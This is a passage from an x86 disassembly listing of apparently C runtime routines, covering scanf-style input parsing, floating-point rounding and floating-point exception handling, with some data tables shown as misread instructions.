jnz short loc_4246F2
mov edx, [ebp+var_1C]
add edx, 1
mov [ebp+var_1C], edx
jmp short loc_42470D
; ---------------------------------------------------------------------------
loc_4246F2: ; CODE XREF: sub_4236C0+1025j
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_424B00
add esp, 4
mov [ebp+var_1D8], eax
loc_42470D: ; CODE XREF: sub_4236C0+1015j
; sub_4236C0+1030j ...
cmp dword_447480, 1
jle short loc_42472F
push 4
mov edx, [ebp+var_1D8]
push edx
call sub_41FA40
add esp, 8
mov [ebp+var_220], eax
jmp short loc_42474A
; ---------------------------------------------------------------------------
loc_42472F: ; CODE XREF: sub_4236C0+1054j
mov eax, [ebp+var_1D8]
mov ecx, off_447274
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_220], edx
loc_42474A: ; CODE XREF: sub_4236C0+106Dj
cmp [ebp+var_220], 0
jz short loc_4247A9
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
test eax, eax
jz short loc_4247A9
mov edx, [ebp+var_6C]
add edx, 1
mov [ebp+var_6C], edx
mov eax, [ebp+var_1E0]
mov cl, byte ptr [ebp+var_1D8]
mov [eax], cl
mov edx, [ebp+var_1E0]
add edx, 1
mov [ebp+var_1E0], edx
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_424B00
add esp, 4
mov [ebp+var_1D8], eax
jmp loc_42470D
; ---------------------------------------------------------------------------
loc_4247A9: ; CODE XREF: sub_4236C0+F88j
; sub_4236C0+F9Ej ...
mov edx, [ebp+var_20]
sub edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_1D8]
push ecx
call sub_424B60
add esp, 8
cmp [ebp+var_6C], 0
jz short loc_424803
movsx edx, [ebp+var_70]
test edx, edx
jnz short loc_424801
mov eax, [ebp+var_34]
add eax, 1
mov [ebp+var_34], eax
mov ecx, [ebp+var_1E0]
mov byte ptr [ecx], 0
lea edx, [ebp+var_1D0]
push edx
mov eax, [ebp+var_3C]
push eax
movsx ecx, [ebp+var_38]
sub ecx, 1
push ecx
call off_447840
add esp, 0Ch
loc_424801: ; CODE XREF: sub_4236C0+1111j
jmp short loc_424808
; ---------------------------------------------------------------------------
loc_424803: ; CODE XREF: sub_4236C0+1109j
jmp loc_4249AA
; ---------------------------------------------------------------------------
loc_424808: ; CODE XREF: sub_4236C0:loc_424801j
jmp short loc_424854
; ---------------------------------------------------------------------------
loc_42480A: ; CODE XREF: sub_4236C0+3B0j
; sub_4236C0+3C4j
; DATA XREF: ...
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
cmp eax, [ebp+var_1D8]
jz short loc_42483A
mov ecx, [ebp+var_20]
sub ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_1D8]
push eax
call sub_424B60
add esp, 8
jmp loc_4249AA
; ---------------------------------------------------------------------------
loc_42483A: ; CODE XREF: sub_4236C0+1157j
mov cl, [ebp+var_28]
sub cl, 1
mov [ebp+var_28], cl
movsx edx, [ebp+var_70]
test edx, edx
jnz short loc_424854
mov eax, [ebp+var_1D4]
mov [ebp+arg_8], eax
loc_424854: ; CODE XREF: sub_4236C0:loc_423EB6j
; sub_4236C0:loc_42441Dj ...
mov cl, [ebp+var_28]
add cl, 1
mov [ebp+var_28], cl
jmp short loc_424880
; ---------------------------------------------------------------------------
loc_42485F: ; CODE XREF: sub_4236C0+38Bj
mov edx, [ebp+var_20]
sub edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_1D8]
push ecx
call sub_424B60
add esp, 8
jmp loc_4249AA
; ---------------------------------------------------------------------------
loc_424880: ; CODE XREF: sub_4236C0+119Dj
mov edx, [ebp+arg_4]
add edx, 1
mov [ebp+arg_4], edx
jmp loc_424981
; ---------------------------------------------------------------------------
loc_42488E: ; CODE XREF: sub_4236C0+11Dj
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov esi, edx
mov eax, [ebp+arg_0]
push eax
call sub_424B00
add esp, 4
mov [ebp+var_1D8], eax
mov ecx, [ebp+var_1D8]
mov edx, [ebp+arg_4]
add edx, 1
mov [ebp+arg_4], edx
cmp esi, ecx
jz short loc_4248E6
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_1D8]
push edx
call sub_424B60
add esp, 8
jmp loc_4249AA
; ---------------------------------------------------------------------------
loc_4248E6: ; CODE XREF: sub_4236C0+1203j
mov eax, [ebp+var_1D8]
and eax, 0FFh
mov ecx, off_447274
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_424981
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov esi, edx
mov eax, [ebp+arg_0]
push eax
call sub_424B00
add esp, 4
mov [ebp+var_1F4], eax
mov ecx, [ebp+var_1F4]
mov edx, [ebp+arg_4]
add edx, 1
mov [ebp+arg_4], edx
cmp esi, ecx
jz short loc_424978
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_1F4]
push edx
call sub_424B60
add esp, 8
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_1D8]
push edx
call sub_424B60
add esp, 8
jmp short loc_4249AA
; ---------------------------------------------------------------------------
loc_424978: ; CODE XREF: sub_4236C0+127Cj
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
loc_424981: ; CODE XREF: sub_4236C0+11C9j
; sub_4236C0+1245j
cmp [ebp+var_1D8], 0FFFFFFFFh
jnz short loc_4249A5
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 25h
jnz short loc_4249A3
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax+1]
cmp ecx, 6Eh
jz short loc_4249A5
loc_4249A3: ; CODE XREF: sub_4236C0+12D4j
jmp short loc_4249AA
; ---------------------------------------------------------------------------
loc_4249A5: ; CODE XREF: sub_4236C0+12C8j
; sub_4236C0+12E1j
jmp loc_423737
; ---------------------------------------------------------------------------
loc_4249AA: ; CODE XREF: sub_4236C0+80j
; sub_4236C0+635j ...
cmp [ebp+var_1D8], 0FFFFFFFFh
jnz short loc_4249DE
cmp [ebp+var_34], 0
jnz short loc_4249CD
movsx edx, [ebp+var_28]
test edx, edx
jnz short loc_4249CD
mov [ebp+var_224], 0FFFFFFFFh
jmp short loc_4249D6
; ---------------------------------------------------------------------------
loc_4249CD: ; CODE XREF: sub_4236C0+12F7j
; sub_4236C0+12FFj
mov eax, [ebp+var_34]
mov [ebp+var_224], eax
loc_4249D6: ; CODE XREF: sub_4236C0+130Bj
mov eax, [ebp+var_224]
jmp short loc_4249E1
; ---------------------------------------------------------------------------
loc_4249DE: ; CODE XREF: sub_4236C0+12F1j
mov eax, [ebp+var_34]
loc_4249E1: ; CODE XREF: sub_4236C0+131Cj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4236C0 endp
; ---------------------------------------------------------------------------
off_4249E8 dd offset loc_42397A ; DATA XREF: sub_4236C0+239r
dd offset loc_423900
dd offset loc_423918
dd offset loc_42395C
dd offset loc_423905
dd offset loc_423967
dd offset loc_42396F
dd offset loc_423985
byte_424A08 db 0 ; DATA XREF: sub_4236C0+233r
; ---------------------------------------------------------------------------
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
add [edi], eax
pop es
add al, [edi]
pop es
add eax, [edi]
add [edi], eax
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
add al, 7
pop es
pop es
add eax, 7070707h
pop es
pop es
pop es
pop es
pop es
pop es
push es
loc_424A56: ; DATA XREF: sub_4236C0+3C4r
mov edi, [edx]
inc edx
add ah, al
aas
inc edx
add [edi], dh
inc esp
inc edx
add [ebx+2200423Eh], bh
inc esp
inc edx
add al, al
aas
inc edx
add cl, dl
cmp al, [edx+0]
retn 423Eh
; ---------------------------------------------------------------------------
align 2
dd offset loc_423AF6
dd offset loc_42480A
byte_424A7E db 0 ; DATA XREF: sub_4236C0+3BEr
db 1
dd 9020202h, 9090903h, 5010409h, 9060909h, 7090901h, 0CC080909h
dd 2 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424AA0 proc near ; CODE XREF: sub_4236C0+9E9p
; sub_4236C0+BCCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
cmp dword_447480, 1
jle short loc_424AC2
push 4
mov eax, [ebp+arg_0]
push eax
call sub_41FA40
add esp, 8
mov [ebp+var_4], eax
jmp short loc_424AD7
; ---------------------------------------------------------------------------
loc_424AC2: ; CODE XREF: sub_424AA0+Dj
mov ecx, [ebp+arg_0]
mov edx, off_447274
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 4
mov [ebp+var_4], eax
loc_424AD7: ; CODE XREF: sub_424AA0+20j
cmp [ebp+var_4], 0
jz short loc_424AE5
mov ecx, [ebp+arg_0]
mov [ebp+var_8], ecx
jmp short loc_424AF1
; ---------------------------------------------------------------------------
loc_424AE5: ; CODE XREF: sub_424AA0+3Bj
mov edx, [ebp+arg_0]
and edx, 0FFFFFFDFh
sub edx, 7
mov [ebp+var_8], edx
loc_424AF1: ; CODE XREF: sub_424AA0+43j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_424AA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424B00 proc near ; CODE XREF: sub_4236C0+370p
; sub_4236C0+698p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
sub ecx, 1
mov edx, [ebp+arg_0]
mov [edx+4], ecx
mov eax, [ebp+arg_0]
cmp dword ptr [eax+4], 0
jl short loc_424B3B
mov ecx, [ebp+arg_0]
mov edx, [ecx]
movsx eax, byte ptr [edx]
and eax, 0FFh
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax], edx
jmp short loc_424B4A
; ---------------------------------------------------------------------------
loc_424B3B: ; CODE XREF: sub_424B00+1Aj
mov ecx, [ebp+arg_0]
push ecx
call sub_41FB00
add esp, 4
mov [ebp+var_4], eax
loc_424B4A: ; CODE XREF: sub_424B00+39j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_424B00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424B60 proc near ; CODE XREF: sub_4236C0+ECp
; sub_4236C0+666p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0FFFFFFFFh
jz short loc_424B79
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42ACA0
add esp, 8
loc_424B79: ; CODE XREF: sub_424B60+7j
pop ebp
retn
sub_424B60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424B80 proc near ; CODE XREF: sub_4236C0+E3p
; sub_4236C0+353p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
loc_424B84: ; CODE XREF: sub_424B80+30j
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_4]
push eax
call sub_424B00
add esp, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
push ecx
call sub_42A980
add esp, 4
test eax, eax
jz short loc_424BB2
jmp short loc_424B84
; ---------------------------------------------------------------------------
loc_424BB2: ; CODE XREF: sub_424B80+2Ej
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_424B80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_424BC0(double)
sub_424BC0 proc near ; CODE XREF: sub_419730+C3p
; sub_419950+C3p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_424BC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_424BE0(int,double,int)
sub_424BE0 proc near ; CODE XREF: sub_419730+85p
; sub_419950+85p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp dword_447AF0, 0
jnz short loc_424C14
mov eax, [ebp+arg_C]
push eax ; int
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+arg_4]
push edx ; double
push 0 ; int
push 0 ; int
mov eax, [ebp+10h]
push eax ; int
mov ecx, [ebp+arg_4]
push ecx ; int
mov edx, [ebp+arg_0]
push edx ; int
push 1 ; int
call sub_425690
add esp, 24h
jmp short loc_424C33
; ---------------------------------------------------------------------------
loc_424C14: ; CODE XREF: sub_424BE0+Aj
call sub_4224D0
mov dword ptr [eax], 21h
push 0FFFFh
mov eax, [ebp+arg_C]
push eax
call sub_425B20
add esp, 8
fld qword ptr [ebp+arg_4]
loc_424C33: ; CODE XREF: sub_424BE0+32j
pop ebp
retn
sub_424BE0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
fld qword ptr [ebp+0Ch]
fadd qword ptr [ebp+14h]
fstp qword ptr [ebp-8]
cmp dword_447AF0, 0
jnz short loc_424C84
mov eax, [ebp+1Ch]
push eax
mov ecx, [ebp-4]
push ecx
mov edx, [ebp-8]
push edx
mov eax, [ebp+18h]
push eax
mov ecx, [ebp+14h]
push ecx
mov edx, [ebp+10h]
push edx
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
push 1
call sub_425690
add esp, 24h
jmp short loc_424CA3
; ---------------------------------------------------------------------------
loc_424C84: ; CODE XREF: .data:00424C56j
call sub_4224D0
mov dword ptr [eax], 21h
push 0FFFFh
mov edx, [ebp+1Ch]
push edx
call sub_425B20
add esp, 8
fld qword ptr [ebp-8]
loc_424CA3: ; CODE XREF: .data:00424C82j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_424CB0(int,int,int,int,double,int)
sub_424CB0 proc near ; CODE XREF: sub_419730+B1p
; sub_419730+129p ...
var_5C = byte ptr -5Ch
var_24 = dword ptr -24h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
mov eax, [ebp+arg_18]
push eax
lea ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_425310
add esp, 0Ch
test eax, eax
jnz short loc_424CF6
mov eax, [ebp+var_24]
and al, 0FEh
mov [ebp+var_24], eax
lea ecx, [ebp+arg_10]
push ecx
lea edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
lea edx, [ebp+arg_18]
push edx
lea eax, [ebp+var_5C]
push eax
call sub_424E40
add esp, 18h
loc_424CF6: ; CODE XREF: sub_424CB0+1Cj
mov ecx, [ebp+arg_0]
push ecx
call sub_4257B0
add esp, 4
mov [ebp+var_4], eax
cmp dword_447AF0, 0
jnz short loc_424D3E
cmp [ebp+var_4], 0
jz short loc_424D3E
mov edx, [ebp+arg_18]
push edx ; int
mov eax, dword ptr [ebp+arg_10+4]
push eax
mov ecx, dword ptr [ebp+arg_10]
push ecx ; double
push 0 ; int
push 0 ; int
mov edx, [ebp+arg_C]
push edx ; int
mov eax, [ebp+arg_8]
push eax ; int
mov ecx, [ebp+arg_4]
push ecx ; int
mov edx, [ebp+var_4]
push edx ; int
call sub_425690
add esp, 24h
jmp short loc_424D5E
; ---------------------------------------------------------------------------
loc_424D3E: ; CODE XREF: sub_424CB0+5Cj
; sub_424CB0+62j
mov eax, [ebp+var_4]
push eax
call sub_425730
add esp, 4
push 0FFFFh
mov ecx, [ebp+arg_18]
push ecx
call sub_425B20
add esp, 8
fld [ebp+arg_10]
loc_424D5E: ; CODE XREF: sub_424CB0+8Cj
mov esp, ebp
pop ebp
retn
sub_424CB0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 5Ch
mov eax, [ebp+28h]
push eax
lea ecx, [ebp+20h]
push ecx
mov edx, [ebp+8]
push edx
call sub_425310
add esp, 0Ch
test eax, eax
jnz short loc_424DCE
mov eax, [ebp-24h]
or al, 1
mov [ebp-24h], eax
mov ecx, [ebp-24h]
and ecx, 0FFFFFFE1h
or ecx, 2
mov [ebp-24h], ecx
mov edx, [ebp+18h]
mov [ebp-34h], edx
mov eax, [ebp+1Ch]
mov [ebp-30h], eax
lea ecx, [ebp+20h]
push ecx
lea edx, [ebp+10h]
push edx
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
lea edx, [ebp+28h]
push edx
lea eax, [ebp-5Ch]
push eax
call sub_424E40
add esp, 18h
loc_424DCE: ; CODE XREF: .data:00424D8Cj
mov ecx, [ebp+8]
push ecx
call sub_4257B0
add esp, 4
mov [ebp-4], eax
cmp dword_447AF0, 0
jnz short loc_424E1A
cmp dword ptr [ebp-4], 0
jz short loc_424E1A
mov edx, [ebp+28h]
push edx
mov eax, [ebp+24h]
push eax
mov ecx, [ebp+20h]
push ecx
mov edx, [ebp+1Ch]
push edx
mov eax, [ebp+18h]
push eax
mov ecx, [ebp+14h]
push ecx
mov edx, [ebp+10h]
push edx
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp-4]
push ecx
call sub_425690
add esp, 24h
jmp short loc_424E3A
; ---------------------------------------------------------------------------
loc_424E1A: ; CODE XREF: .data:00424DE4j
; .data:00424DEAj
mov edx, [ebp-4]
push edx
call sub_425730
add esp, 4
push 0FFFFh
mov eax, [ebp+28h]
push eax
call sub_425B20
add esp, 8
fld qword ptr [ebp+20h]
loc_424E3A: ; CODE XREF: .data:00424E18j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424E40 proc near ; CODE XREF: sub_424CB0+3Ep
; .data:00424DC6p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
mov dword ptr [eax+4], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+8], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx+0Ch], 0
mov eax, [ebp+arg_8]
and eax, 10h
test eax, eax
jz short loc_424E84
mov [ebp+var_4], 0C000008Fh
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
or edx, 1
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_424E84: ; CODE XREF: sub_424E40+2Cj
mov ecx, [ebp+arg_8]
and ecx, 2
test ecx, ecx
jz short loc_424EA3
mov [ebp+var_4], 0C0000093h
mov edx, [ebp+arg_0]
mov eax, [edx+4]
or al, 2
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
loc_424EA3: ; CODE XREF: sub_424E40+4Cj
mov edx, [ebp+arg_8]
and edx, 1
test edx, edx
jz short loc_424EC3
mov [ebp+var_4], 0C0000091h
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
or ecx, 4
mov edx, [ebp+arg_0]
mov [edx+4], ecx
loc_424EC3: ; CODE XREF: sub_424E40+6Bj
mov eax, [ebp+arg_8]
and eax, 4
test eax, eax
jz short loc_424EE3
mov [ebp+var_4], 0C000008Eh
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
or edx, 8
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_424EE3: ; CODE XREF: sub_424E40+8Bj
mov ecx, [ebp+arg_8]
and ecx, 8
test ecx, ecx
jz short loc_424F02
mov [ebp+var_4], 0C0000090h
mov edx, [ebp+arg_0]
mov eax, [edx+4]
or al, 10h
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
loc_424F02: ; CODE XREF: sub_424E40+ABj
mov edx, [ebp+arg_4]
mov eax, [edx]
and eax, 1
neg eax
sbb eax, eax
inc eax
and eax, 1
shl eax, 4
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
and edx, 0FFFFFFEFh
or edx, eax
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and edx, 4
neg edx
sbb edx, edx
inc edx
and edx, 1
shl edx, 3
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
and ecx, 0FFFFFFF7h
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [eax]
and ecx, 8
neg ecx
sbb ecx, ecx
inc ecx
and ecx, 1
shl ecx, 2
mov edx, [ebp+arg_0]
mov eax, [edx+8]
and al, 0FBh
or eax, ecx
mov ecx, [ebp+arg_0]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [edx]
and eax, 10h
neg eax
sbb eax, eax
inc eax
and eax, 1
shl eax, 1
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
and edx, 0FFFFFFFDh
or edx, eax
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and edx, 20h
neg edx
sbb edx, edx
inc edx
and edx, 1
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
and ecx, 0FFFFFFFEh
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx+8], ecx
call sub_425AE0
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
and eax, 1
test eax, eax
jz short loc_424FD2
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
or edx, 10h
mov eax, [ebp+arg_0]
mov [eax+0Ch], edx
loc_424FD2: ; CODE XREF: sub_424E40+181j
mov ecx, [ebp+var_8]
and ecx, 4
test ecx, ecx
jz short loc_424FEA
mov edx, [ebp+arg_0]
mov eax, [edx+0Ch]
or al, 8
mov ecx, [ebp+arg_0]
mov [ecx+0Ch], eax
loc_424FEA: ; CODE XREF: sub_424E40+19Aj
mov edx, [ebp+var_8]
and edx, 8
test edx, edx
jz short loc_425003
mov eax, [ebp+arg_0]
mov ecx, [eax+0Ch]
or ecx, 4
mov edx, [ebp+arg_0]
mov [edx+0Ch], ecx
loc_425003: ; CODE XREF: sub_424E40+1B2j
mov eax, [ebp+var_8]
and eax, 10h
test eax, eax
jz short loc_42501C
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
or edx, 2
mov eax, [ebp+arg_0]
mov [eax+0Ch], edx
loc_42501C: ; CODE XREF: sub_424E40+1CBj
mov ecx, [ebp+var_8]
and ecx, 20h
test ecx, ecx
jz short loc_425034
mov edx, [ebp+arg_0]
mov eax, [edx+0Ch]
or al, 1
mov ecx, [ebp+arg_0]
mov [ecx+0Ch], eax
loc_425034: ; CODE XREF: sub_424E40+1E4j
mov edx, [ebp+arg_4]
mov eax, [edx]
and eax, 0C00h
mov [ebp+var_C], eax
cmp [ebp+var_C], 800h
ja short loc_425064
cmp [ebp+var_C], 800h
jz short loc_42507E
cmp [ebp+var_C], 0
jz short loc_4250A2
cmp [ebp+var_C], 400h
jz short loc_425090
jmp short loc_4250AF
; ---------------------------------------------------------------------------
loc_425064: ; CODE XREF: sub_424E40+208j
cmp [ebp+var_C], 0C00h
jz short loc_42506F
jmp short loc_4250AF
; ---------------------------------------------------------------------------
loc_42506F: ; CODE XREF: sub_424E40+22Bj
mov ecx, [ebp+arg_0]
mov edx, [ecx]
or edx, 3
mov eax, [ebp+arg_0]
mov [eax], edx
jmp short loc_4250AF
; ---------------------------------------------------------------------------
loc_42507E: ; CODE XREF: sub_424E40+211j
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 0FFFFFFFCh
or edx, 2
mov eax, [ebp+arg_0]
mov [eax], edx
jmp short loc_4250AF
; ---------------------------------------------------------------------------
loc_425090: ; CODE XREF: sub_424E40+220j
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 0FFFFFFFCh
or edx, 1
mov eax, [ebp+arg_0]
mov [eax], edx
jmp short loc_4250AF
; ---------------------------------------------------------------------------
loc_4250A2: ; CODE XREF: sub_424E40+217j
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 0FFFFFFFCh
mov eax, [ebp+arg_0]
mov [eax], edx
loc_4250AF: ; CODE XREF: sub_424E40+222j
; sub_424E40+22Dj ...
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and edx, 300h
mov [ebp+var_10], edx
cmp [ebp+var_10], 0
jz short loc_4250F8
cmp [ebp+var_10], 200h
jz short loc_4250E6
cmp [ebp+var_10], 300h
jz short loc_4250D7
jmp short loc_425108
; ---------------------------------------------------------------------------
loc_4250D7: ; CODE XREF: sub_424E40+293j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE3h
mov edx, [ebp+arg_0]
mov [edx], ecx
jmp short loc_425108
; ---------------------------------------------------------------------------
loc_4250E6: ; CODE XREF: sub_424E40+28Aj
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE3h
or ecx, 4
mov edx, [ebp+arg_0]
mov [edx], ecx
jmp short loc_425108
; ---------------------------------------------------------------------------
loc_4250F8: ; CODE XREF: sub_424E40+281j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE3h
or ecx, 8
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_425108: ; CODE XREF: sub_424E40+295j
; sub_424E40+2A4j ...
mov eax, [ebp+arg_C]
and eax, 0FFFh
shl eax, 5
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 0FFFE001Fh
or edx, eax
mov eax, [ebp+arg_0]
mov [eax], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+20h]
or edx, 1
mov eax, [ebp+arg_0]
mov [eax+20h], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+20h]
and edx, 0FFFFFFE1h
or edx, 2
mov eax, [ebp+arg_0]
mov [eax+20h], edx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_10]
mov eax, [edx]
mov [ecx+10h], eax
mov edx, [edx+4]
mov [ecx+14h], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
or ecx, 1
mov edx, [ebp+arg_0]
mov [edx+50h], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE1h
or ecx, 2
mov edx, [ebp+arg_0]
mov [edx+50h], ecx
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_14]
mov edx, [ecx]
mov [eax+40h], edx
mov ecx, [ecx+4]
mov [eax+44h], ecx
call sub_425B00
lea edx, [ebp+arg_0]
push edx
push 1
push 0
mov eax, [ebp+var_4]
push eax
call dword_4E04C0 ; RaiseException
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
shr edx, 4
and edx, 1
test edx, edx
jz short loc_4251BD
mov eax, [ebp+arg_4]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
mov edx, [ebp+arg_4]
mov [edx], ecx
loc_4251BD: ; CODE XREF: sub_424E40+36Ej
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
shr ecx, 3
and ecx, 1
test ecx, ecx
jz short loc_4251D9
mov edx, [ebp+arg_4]
mov eax, [edx]
and al, 0FBh
mov ecx, [ebp+arg_4]
mov [ecx], eax
loc_4251D9: ; CODE XREF: sub_424E40+38Bj
mov edx, [ebp+arg_0]
mov eax, [edx+8]
shr eax, 2
and eax, 1
test eax, eax
jz short loc_4251F6
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and edx, 0FFFFFFF7h
mov eax, [ebp+arg_4]
mov [eax], edx
loc_4251F6: ; CODE XREF: sub_424E40+3A7j
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
shr edx, 1
and edx, 1
test edx, edx
jz short loc_425212
mov eax, [ebp+arg_4]
mov ecx, [eax]
and ecx, 0FFFFFFEFh
mov edx, [ebp+arg_4]
